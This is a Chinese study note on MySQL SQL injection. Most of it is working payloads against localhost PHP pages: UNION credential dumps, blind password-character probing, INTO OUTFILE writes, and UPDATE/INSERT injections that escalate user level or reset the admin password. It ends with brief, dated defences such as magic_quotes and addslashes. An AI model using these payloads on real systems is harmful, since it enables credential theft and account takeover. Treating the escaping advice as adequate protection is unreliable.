SQL注入的重点就是构造SQL语句，只有灵活的运用SQL语句才能构造出牛比的注入字符串。学完之后写了点笔记，已备随时使用。希望你在看下面内容时先了解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询：
http://127.0.0.1/injection/user.
php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union联合语句：
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
导出文件：
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
INSERT语句：
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');构造homepage值为：http://4ngel.net', '3')#SQL语句变为：INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');UPDATE语句：我喜欢这样个东西先理解这句SQL UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'如果此SQL被修改成以下形式，就实现了注入1：修改homepage值为http://4ngel.net', userlevel='3之后SQL语句变为UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'userlevel为用户级别2:修改password值为mypass)' WHERE username='admin'#之后SQL语句变为UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'3：修改id值为' OR username='admin'之后SQL语句变为UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'===高级部分===常用的MySQL内置函数DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() database() version() SUBSTRING() MID() char() load_file()……
函数应用UPDATE article SET title=DATABASE() WHERE id=1 http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version() SELECT * FROM user WHERE username=char(97,110,103,101,108)# char(97,110,103,101,108) 相当于angel，十进制http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100) http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111确定数据结构的字段个数及类型http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)猜数据表名http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members跨表查询得到用户名和密码http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1其他#验证第一位密码http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49===注入防范===服务器方面magic_quotes_gpc设置为On display_errors设置为Off编码方面$keywords = addslashes($keywords);$keywords = str_replace("_","\_",$keywords);$keywords = str_replace("%","\%",$keywords);数值类型使用intval()抓换字符串类型SQL语句参数中要添加单引号下面代码，用于防治注入if (get_magic_quotes_gpc()) {//....
}else{$str = mysql_real_escape_string($str);$keywords = str_replace("_","\_",$keywords);$keywords = str_replace("%","\%",$keywords);}有用的函数stripslashes() get_magic_quotes_gpc() mysql_real_escape_string() strip_tags() array_map() addslashes()
参考文章：
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文http://www.phpe.net/mysql_manual/06-4.html（MYSQL语句参考）